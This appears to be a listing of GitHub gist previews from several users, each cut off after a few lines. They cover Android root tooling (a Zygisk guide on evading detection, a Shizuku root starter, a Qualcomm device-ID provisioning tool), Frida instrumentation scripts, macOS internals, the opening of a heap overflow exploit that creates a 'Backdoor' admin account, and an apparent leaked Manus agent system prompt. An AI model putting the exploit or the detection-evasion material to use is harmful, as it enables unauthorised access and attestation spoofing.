ThePedroo

ThePedroo's Zygisk Module Guide

The Zygisk API is fairly easy to understand: two main functions, 4 functions that are set on runtime, pre and post for both apps and system server. However, when you get more into the development of a Zygisk module, it gets significantly harder to know how to improve the module in terms of efficiency, and how to avoid detections, after all there are no (properly) documented resources for either.

This post/guide, written by ReZygisk's developer, documents numerous information (and that are actually valuable) that allow to build a better Zygisk module, improving hiding and performance/speed.

1. Untargeted processes; Minimal execution

Many Zygisk modules have specific targets, and aren't meant to execute on other processes. It is common for many to also need to execute a considerable amount of code preparing for later execution. However, it is important to check, as the first real step, in preAppSpecialize, if you actually need to run any code in that process.

MhmRdd

/*
 * shizuku_starter.c
 *
 * Starts Shizuku server with root privileges.
 * Intended to be executed via Xiaomi IMQSNative service.
 *
 *
 * Compile (Termux):
 *   clang -O2 -Wall -o /data/local/tmp/shizuku_starter shizuku_starter.c
 *

MhmRdd

/*
 * provision_device_ids.c
 * Copyright (c) 2026 mhmrdd. All rights reserved.
 *
 * Standalone Device ID provisioning utility for Qualcomm Keymaster.
 *
 * This tool provisions Android attestation identifiers (brand, device,
 * product, serial, IMEI/MEID, manufacturer, model) into secure storage
 * through QSEECom and finalizes Device ID provisioning state.
 *

jlia0

You are Manus, an AI agent created by the Manus team.

You excel at the following tasks:
1. Information gathering, fact-checking, and documentation
2. Data processing, analysis, and visualization
3. Writing multi-chapter articles and in-depth research reports
4. Creating websites, applications, and tools
5. Using programming to solve various problems beyond development
6. Various tasks that can be accomplished using computers and the internet

Ahmeth4n

function hookNative() {

    const jniOnLoad = moduleHandle.findExportByName("JNI_OnLoad");
    if (!jniOnLoad) {
        console.log("[-] JNI_OnLoad not found!");
        return;
    }

    console.log("[+] JNI_OnLoad founded:", jniOnLoad);

miticollo

#!/usr/bin/env bash
#
# Build Frida DEB.

# register the cleanup function to be called on the EXIT signal
trap cleanup INT

#######################################
# Deletes the temp directory.
# Globals:

aemmitt-ns

import socket, struct, sys
p32 = lambda x: struct.pack(">I", x)
p16 = lambda x: struct.pack(">h", x)
p8  = lambda x: struct.pack(">b", x)

# ASMP heap overflow exploit creates new applianceAdmin user
def exploit(hostname, username="Backdoor", password="Backdoor"):
    global socks # python closes out of scope sockets
    port = 3211  # port is hardcoded in the binary
    usernm = username.encode()

jevinskie

jevin@wombat [22:32:18] [~/code/mac/widget/xnu_unsuspend] [main *]
->  % sudo taskinfo 'Deliveries Widget'
process: "Deliveries Widget" [30145] [unique ID: 1220404]
architecture: arm64
coalition (type 0) ID: 105936
coalition (type 1) ID: 591
suspend count: 1
virtual bytes: 389.40 GB; phys_footprint bytes: 8.92 MB; phys_footprint lifetime maximum bytes: 8.92 MB
run time: 42 s
user/system time    (current threads): 0.046565 s / 0.036279 s

aemmitt-ns

// dump classes and selectors forbidden in NSPredicates
// `cc -framework Foundation -o restricted restricted.m`
#import <Foundation/Foundation.h>
#import <dlfcn.h>

int main() {
    void *cf = dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", 0);
    NSDictionary* (*RestrictedClasses)() = dlsym(cf, "_CFPredicatePolicyRestrictedClasses");
    NSDictionary* (*RestrictedSelectors)() = dlsym(cf, "_CFPredicatePolicyRestrictedSelectors");
    NSLog(@"Restricted Selectors: %@", RestrictedSelectors());

miticollo

#!/usr/bin/env python3
import json

import frida
from frida.core import Device, Session, Script, ScriptExportsSync

compiler: frida.Compiler = frida.Compiler()
compiler.on("diagnostics", lambda diag: print(f"on_diagnostics: {diag}"))
bundle: str = compiler.build('permissions.ts', compression='terser')